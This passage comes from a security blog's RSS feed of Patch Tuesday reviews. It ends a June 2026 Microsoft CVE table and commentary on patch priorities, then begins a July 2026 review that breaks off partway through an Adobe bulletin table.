  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
